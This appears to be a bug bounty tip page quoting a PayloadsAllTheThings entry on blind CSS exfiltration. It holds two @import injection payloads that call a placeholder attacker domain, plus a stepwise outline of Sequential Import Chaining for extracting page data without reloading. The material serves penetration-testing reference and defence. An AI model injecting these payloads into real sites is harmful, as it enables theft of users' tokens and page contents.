CSS Injection: CSS Import at-rule

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.

html
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>

Frames do not always need to be reloaded to reevaluate CSS. The @import rule allows for latency; the browser will process the import and apply the new styles.

Sequential Import Chaining (SIC)

SIC allows an attacker to chain multiple extraction steps without reloading the page:

  1. Inject an initial @import rule pointing to a staging payload.

  2. The staging payload holds the connection open (long-polling) while generating the next specific payload.

  3. When a CSS rule matches (e.g., a character is found via background-image), the browser makes a request.

  4. The server detects this request and generates the next @import rule to continue the chain.

Comments

No comments yet.